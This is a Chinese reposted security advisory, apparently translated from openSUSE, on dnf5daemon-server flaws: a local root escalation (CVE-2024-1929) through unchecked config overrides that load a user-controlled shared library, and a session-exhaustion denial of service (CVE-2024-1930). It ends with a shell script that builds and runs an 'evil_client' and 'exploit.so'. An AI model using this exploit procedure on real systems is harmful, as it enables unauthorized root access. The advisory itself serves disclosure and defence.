1)简介
2)D-Bus 接口设计
3) 本地Root漏洞利用 (CVE-2024-1929)
org.rpm.dnf.v0.SessionManager.open_session
方法采用配置条目的键/值映射,位于 “config” 键下。这些配置值作为配置覆盖传递到 libdnf5::Base
配置,影响所有 libdnf5 配置。这里的问题是没有对 “配置” 映射的内容进行健全性检查,是不可信的数据。dlopen()
打开用户控制的共享库,导致在根用户的上下文中执行完整的代码。3.1) 概念验证
3.2) 错误修复
e51bf2f0d
中实施了此类白名单强制执行。3.3) CVE 分配
4) 会话数量无限制/不良会话关闭行为 (CVE-2024-1930)
4.1) 错误修复
c090ffeb79
中将最大会话数限制为三个会话,但线程连接行为尚未解决。4.2) CVE 分配
5) 每个会话的不可信设置
locale
,传递到 C 库函数 newlocale()
。存在风险,C 库可能处理任意用户控制的文件或符号链接,可能导致信息泄漏、拒绝服务甚至代码执行。建议对字符串执行健全性检查,防止使用 locale
包含斜杠字符的字符串。6) dnfdaemon-client 需要完全 Root
dnf5daemon-client
拒绝为非 root 用户执行特权操作。建议删除客户端中的根检查代码,依赖服务端身份验证逻辑。
7) exploit
PATH=$PATH:/sbin:/usr/sbin
which dnf5daemon-server >/dev/null
if [ $? -ne 0 ]; then
echo "You need to install dnf5daemon-server for this exploit to work" 1>&2
exit 1
fi
g++ -g -Wall evil_client.cxx -oevil_client -lsdbus-c++
if [ $? -ne 0 ]; then
echo "Failed to compile evil_client.cxx" 1>&2
echo "Note: You need g++ and sdbus-c++ devel files" 1>&2
exit 1
fi
g++ exploit_lib.cxx -Wall -oexploit.so -shared -fPIC
if [ $? -ne 0 ]; then
echo "Failed to compile exploit.so" 1>&2
exit 1
fi
./evil_client $PWD
if [ -e "/evil.file" ]; then
echo "exploit succeeded, /evil.file exists"
else
echo "exploit failed?"
fi
参考文章:
https://security.opensuse.org/2024/03/04/dnf5daemon-server-local-root.html
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):Dnf5 daemon-server组件 CVE-2024-1929 Root权限升级,CVE-2024-1930 DOS攻击